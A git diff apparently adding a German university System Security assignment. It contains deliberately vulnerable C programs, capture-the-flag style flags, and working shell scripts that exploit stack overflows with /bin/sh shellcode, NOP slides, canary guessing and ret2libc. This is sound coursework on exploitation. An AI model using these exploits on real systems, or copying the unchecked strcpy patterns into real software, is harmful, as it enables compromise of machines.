diff --git a/.gitea/workflows/build-latex.yaml b/.gitea/workflows/build-latex.yaml index 397745a..18415f9 100644 --- a/.gitea/workflows/build-latex.yaml +++ b/.gitea/workflows/build-latex.yaml @@ -10,7 +10,8 @@ jobs: matrix: assignment: [ "Assignment 4 - Protokollsicherheit (Praxis)", - "Assignment 5 - Software Security - Teil 1" + "Assignment 5 - Software Security - Teil 1", + "Assignment 6 - Software Security - Teil 2" ] steps: - uses: actions/checkout@v3 diff --git a/Assignment 6 - Software Security - Teil 2/abgabe.tex b/Assignment 6 - Software Security - Teil 2/abgabe.tex new file mode 100644 index 0000000..89900b9 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/abgabe.tex @@ -0,0 +1,162 @@ +\documentclass[11pt]{scrartcl} + +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage[ngerman]{babel} +\usepackage{lmodern} +\usepackage{graphicx} +\usepackage{listings} +\usepackage{xspace} +\usepackage{amsmath} +\usepackage{algorithm} +\usepackage{algpseudocode} +\usepackage{xifthen} +\usepackage{xcolor} +\usepackage{pdfpages} +\usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry} +\usepackage{amsmath,amssymb,amstext,amsthm} +\usepackage[shortlabels]{enumitem} +\usepackage[headsepline]{scrlayer-scrpage} +\pagestyle{scrheadings} +\usepackage{titling} +\usepackage{etoolbox} +\usepackage{tikz} +\usepackage{multirow} +\usepackage{tabularx} + +\definecolor{keyword}{rgb}{0.0, 0.0, 1.0} +\definecolor{comment}{rgb}{0.5, 0.5, 0.5} +\definecolor{string}{rgb}{0.6, 0.1, 0.1} +\definecolor{background}{rgb}{0.95, 0.95, 0.95} + +\lstset{ + language=bash, + backgroundcolor=\color{background}, + basicstyle=\ttfamily\small, + keywordstyle=\color{keyword}\bfseries, + commentstyle=\color{comment}\itshape, + stringstyle=\color{string}, + tabsize=2, + showspaces=false, + showstringspaces=false, + frame=single, + numbers=left, + numberstyle=\tiny\color{gray}, + breaklines=true, + captionpos=b, + escapeinside={(*@}{@*)}, +} + +\usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs} +\usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc} +\usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc} + +\tikzset{% + initial text={}, + state/.style={circle, draw, minimum size=.6cm}, + every initial by arrow/.style={-stealth}, + every loop/.append style={-stealth}, + >=stealth +} + +\ohead{\parbox[t]{.5\linewidth}{\raggedleft \theauthor}} +\ihead{System Security, SoSe 24, Assignment \thesheetnr} + +% Sheet number +\newcounter{sheetnr} +\newcommand{\sheetnr}[1]{\setcounter{sheetnr}{#1}} + +% Exercise environments +\newenvironment{exercise}[2][]{\section*{#2\expandafter\ifstrempty\expandafter{#1}{}{\ #1}}}{} +\newenvironment{subexercises}{\begin{enumerate}[a), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}} +\newenvironment{subsubexercises}{\begin{enumerate}[i), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}} + +% Makros +% MACRO for whole diagram +% #1: total width of diagram +% #2: total height of diagram +% #3: nodes, paths, ... +\newcommand\protocolflow[3]{ +\begin{center} +\begin{tikzpicture}[x=#1cm,y=#2cm] +#3 +\end{tikzpicture} +\end{center} +} +% MACRO for path line shortening +% #1: start coordinate +% #2: target coordinate +% #3: text above arrow +\newcommand{\package}[3]{ +\path[*-{latex[width=5pt, length=5pt]}] (#1) edge node [above] {#3} (#2); +} + +% Anpassen --> % +\author{Benjamin Haschka\\Sascha Tommasone\\Paul Zinselmeyer} +\sheetnr{6} +% <-- Anpassen % +\begin{document} + +\begin{exercise}[Smashing the Stack for Fun and Profit]{5} +\begin{subexercises} +\item Wenn das Programm mit dem Kommandozeilenargument \\ \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht geändert. + +\begin{tabular}{ |c|c||c|c|c|c||c|c|c|c| } + \hline + Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\ + \hline + Vorheriger Stackframe&&?&?&?&? & ?&?&?&?\\ + \hline + Parameter password & 4 &BE&BA&FE&CA & 0&BA&FE&CA\\ + \hline + Return Address & 4 & ?&?&?&? & BA&B0&BA&B0\\ + \hline + Previous Frame Address & 4 & ?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&'E'&'F'&0&? & 'A'&'A'&'A'&'A'\\ + \hline + Local Variable padded\_password & 24 & 'A'&'B'&'C'&'D' & 'A'&'A'&'A'&'A'\\ + \hline + Freier Speicher & & \multicolumn{4}{|c||}{Freier Speicher} & \multicolumn{4}{|c|}{Freier Speicher}\\ + \hline +\end{tabular} +\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \\ \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt. + Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird. + +\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3p.html} berücksichtigt nicht die maximale Länge des Zielspeichers. + Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3p.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird. + \lstinline{strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus. + Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen. +\end{subexercises} +\end{exercise} + +\begin{exercise}[Stack-Based Buffer Overflow]{6} +\begin{subexercises} +\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline|flag{THAT_WAS_EASY_HUH}|.\\ + \begin{lstlisting}[language=Bash] +#!/usr/bin/env sh + +# 21 Byte Shellcode +SHELLCODE="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +# Padding to fill: +# - 79 Bytes to fill buff +# - 8 Bytes to fill the local variables before buff +# - 4 Bytes to fill the saved ebp value +PADDING=$(printf "A%.0s" $(seq 1 91)) +# Address of the start of the buff array / shellcode +RETADDR="\x1C\xDB\xFF\xFF" + +printf $SHELLCODE$PADDING$RETADDR + \end{lstlisting} + \item Die Flag lautet \lstinline|flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}|.\\ +\end{subexercises} +\end{exercise} +\end{document} diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png b/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png new file mode 100644 index 0000000..e77df7c Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png differ diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow b/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow new file mode 100755 index 0000000..9aa100c Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow differ diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c b/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c new file mode 100644 index 0000000..233e6e2 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c @@ -0,0 +1,24 @@ +#include +#include +#include + +// vulnerable function +int overflow_me(char* input) +{ + char buff[100]; + printf("Buffer is at %p\n", &buff); // buff's address is leaked :O + strcpy(buff, input); + + return 1; +} + +int main(int argc, char *argv[]) +{ + if(argc < 2) + { + printf("Syntax: %s \n", argv[0]); + exit (0); + } + overflow_me(argv[1]); + return 0; +} diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/flag b/Assignment 6 - Software Security - Teil 2/basic_overflow/flag new file mode 100644 index 0000000..9007b49 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/flag @@ -0,0 +1 @@ +flag{THAT_WAS_EASY_HUH} \ No newline at end of file diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh b/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh new file mode 100755 index 0000000..6c47ae7 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +# flag{THAT_WAS_EASY_HUH} + +######### Exploit ######### +# Step 1: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + +# Step 2: Fill the buffer with 'A's until the stored EIP is reached +printf "A%.0s" {1..91} + +# Step 3: Overwrite the stored EIP with the address of the shellcode +printf "\x2c\xd5\xff\xff" +########################### diff --git a/Assignment 6 - Software Security - Teil 2/fake_canary/Bildschirmfoto vom 2024-06-14 16-42-44.png b/Assignment 6 - Software Security - Teil 2/fake_canary/Bildschirmfoto vom 2024-06-14 16-42-44.png new file mode 100644 index 0000000..c82aa4d Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/fake_canary/Bildschirmfoto vom 2024-06-14 16-42-44.png differ diff --git a/Assignment 6 - Software Security - Teil 2/fake_canary/canary b/Assignment 6 - Software Security - Teil 2/fake_canary/canary new file mode 100755 index 0000000..13576a8 Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/fake_canary/canary differ diff --git a/Assignment 6 - Software Security - Teil 2/fake_canary/flag b/Assignment 6 - Software Security - Teil 2/fake_canary/flag new file mode 100644 index 0000000..de8da20 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/fake_canary/flag @@ -0,0 +1 @@ +flag{CANARY_IS_ALSO_AN_ISLAND} \ No newline at end of file diff --git a/Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh b/Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh new file mode 100755 index 0000000..704a065 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh @@ -0,0 +1,41 @@ +#!/bin/bash + +# flag{CANARY_IS_ALSO_AN_ISLAND} + +##### Exploit Creation Steps ##### +# Step 1: Locate address of 'int stack_canaries [10]' using gdb +# Command: disas owerflow +# -> 0x56559020 +################################## +# Step 2: Print all 10 possible stack canaries in gdb +# Command: x/10xw 0x56559020 +################################## +# Step 3: Select only those canaries that do not contain a null byte +################################## +# Step 4: Combine Slide Rider with the selected stack canaries +################################## + +############ Exploit ############## +# Step 1: Choose a random canary candidate and overwrite the buffer with 'A's, then insert the canary candidate. +# Note: Only canaries without null bytes can be used due to the use of strcpy. +case $(( RANDOM % 3 )) in + 0) + printf "AAAAAAAAAAAAAAAA\xa9\x67\xa3\x70" + ;; + 1) + printf "AAAAAAAAAAAAAAAA\xc1\xd1\xce\x4b" + ;; + 2) + printf "AAAAAAAAAAAAAAAA\x0e\x8b\xba\x08" + ;; +esac + +# Step 2: Fill the buffer with a candidate return address +printf "\x10\xd6\xff\xff%.0s" {1..30} + +# Step 3: Write a lot of NOPs to stdout as a slide for the shellcode +printf "\x90%.0s" {1..2000} + +# Step 4: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +################################### diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/Bildschirmfoto vom 2024-06-14 15-54-57.png b/Assignment 6 - Software Security - Teil 2/ret2libc/Bildschirmfoto vom 2024-06-14 15-54-57.png new file mode 100644 index 0000000..3f85c58 Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/ret2libc/Bildschirmfoto vom 2024-06-14 15-54-57.png differ diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc b/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc new file mode 100755 index 0000000..4ea0e05 Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc differ diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc.c b/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc.c new file mode 100644 index 0000000..800118b --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc.c @@ -0,0 +1,23 @@ +#include +#include +#include + +int vuln(char* input) { + char buff[100]; + + strcpy(buff, input); + return 0; +} + +int main(int argc, char *argv[]) +{ + if(argc < 2) + { + printf("Syntax: %s \n", argv[0]); + exit (0); + } + + vuln(argv[1]); + return 0; +} + diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/solution.sh b/Assignment 6 - Software Security - Teil 2/ret2libc/solution.sh new file mode 100755 index 0000000..de29aca --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/ret2libc/solution.sh @@ -0,0 +1,31 @@ +#!/bin/bash + +# sources: https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc + +##### Exploit Creation Steps ##### +################################### + +# Step 1: Locate the offset of the string '/bin/sh' in libc +# Command: strings -a -t x /usr/lib32/libc-2.31.so | grep /bin/sh +# ---> 0x18c363 + +# Step 2: Determine the base address of libc in the ret2libc environment using gdb +# Command: info proc map +# ---> 0xf7dd4000 + +# Step 3: Find the addresses of 'system' and 'exit' functions using gdb +# Commands: +# p system -> 0xf7e15360 +# p exit -> 0xf7e07ec0 +################################### + +############ Exploit ############## +# Fill the buffer with 'A's until the stored EIP is reached +printf "A%.0s" {1..112} + +# Overwrite the stored EIP with the address of 'system' function +# Place the address of 'exit' function as the return address for 'system' +# Provide the argument for 'system' which is the address of the string '/bin/sh' (calculated as base libc + offset) +# All addresses are in little-endian format +printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\x63\x03\xf6\xf7" +################################### diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/solution_grade.sh b/Assignment 6 - Software Security - Teil 2/ret2libc/solution_grade.sh new file mode 100755 index 0000000..42badf4 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/ret2libc/solution_grade.sh @@ -0,0 +1,29 @@ +#!/bin/bash + +##### Exploit Creation Steps ##### +################################### + +# Step 1: Find the addresses of 'system' and 'exit' functions using gdb +# Commands: +# p system -> 0xf7e15360 +# p exit -> 0xf7e07ec0 + +# Step 2: Export an environment variable to inject our command as a string into the ret2libc executable +# Command: export COMMAND="echo 100 > /home/user/t0p_s3cr3t/owned" + +# Step 3: Find the address of the environment variable string in memory using gdb +# Command: x/s *((char **)environ+16) (17th env. variable) +# Add 8 to the address to skip the 'COMMAND=' part +# -> 0xffffdeda (0xffffdee8 in gdb; different env. vars when executing ./ret2libc directly; found by trial and error) +################################### + +############ Exploit ############## +# Fill the buffer with 'A's until the stored EIP is reached +printf "A%.0s" {1..112} + +# Overwrite the stored EIP with the address of the 'system' function +# Place the address of the 'exit' function as the return address for 'system' +# Provide the argument for 'system', which is the address of the value of the environment variable COMMAND +# All addresses are in little-endian format +printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\xda\xde\xff\xff" +################################### diff --git a/Assignment 6 - Software Security - Teil 2/ret2libc/t0p_s3cr3t/owned b/Assignment 6 - Software Security - Teil 2/ret2libc/t0p_s3cr3t/owned new file mode 100644 index 0000000..29d6383 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/ret2libc/t0p_s3cr3t/owned @@ -0,0 +1 @@ +100 diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/Bildschirmfoto vom 2024-06-14 16-37-34.png b/Assignment 6 - Software Security - Teil 2/slide_rider/Bildschirmfoto vom 2024-06-14 16-37-34.png new file mode 100644 index 0000000..457dc8a Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/slide_rider/Bildschirmfoto vom 2024-06-14 16-37-34.png differ diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/flag b/Assignment 6 - Software Security - Teil 2/slide_rider/flag new file mode 100644 index 0000000..38f0133 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/slide_rider/flag @@ -0,0 +1 @@ +flag{THEY_SEE_ME_SLIDIN_THEY_HATIN} \ No newline at end of file diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/slide_rider b/Assignment 6 - Software Security - Teil 2/slide_rider/slide_rider new file mode 100755 index 0000000..53bd28f Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/slide_rider/slide_rider differ diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/solution-sascha.sh b/Assignment 6 - Software Security - Teil 2/slide_rider/solution-sascha.sh new file mode 100644 index 0000000..80fe801 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/slide_rider/solution-sascha.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/ + +# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN} + +######### Exploit ######### +# Step 1: Fill the buffer with a candidate return address +printf "\x0c\xd6\xff\xff%.0s" {1..30} + +# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode +printf "\x90%.0s" {1..2000} + +# Step 3: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +########################### diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh b/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh new file mode 100755 index 0000000..4edbe83 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh @@ -0,0 +1,12 @@ +#!/usr/bin/env sh + +# slide for buffer size 20 + 2 bytes of saved ebp +SLIDE_1=$(printf "\\\\x90%.0s" $(seq 1 22)) +# jump over the ret addr +JMP_OVER_RET="\xeb\x04" +RET_ADDR="\x08\xdc\xff\xff" +# main nop slide (500 Bytes) +SLIDE_2=$(printf "\\\\x90%.0s" $(seq 1 500)) +SHELLCODE="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" + +printf $SLIDE_1$JMP_OVER_RET$RET_ADDR$SLIDE_2$SHELLCODE diff --git a/flake.nix b/flake.nix index cebe99d..77c3752 100644 --- a/flake.nix +++ b/flake.nix @@ -7,6 +7,7 @@ assignments = [ "Assignment 4 - Protokollsicherheit (Praxis)" "Assignment 5 - Software Security - Teil 1" + "Assignment 6 - Software Security - Teil 2" ]; forAllSystems = function: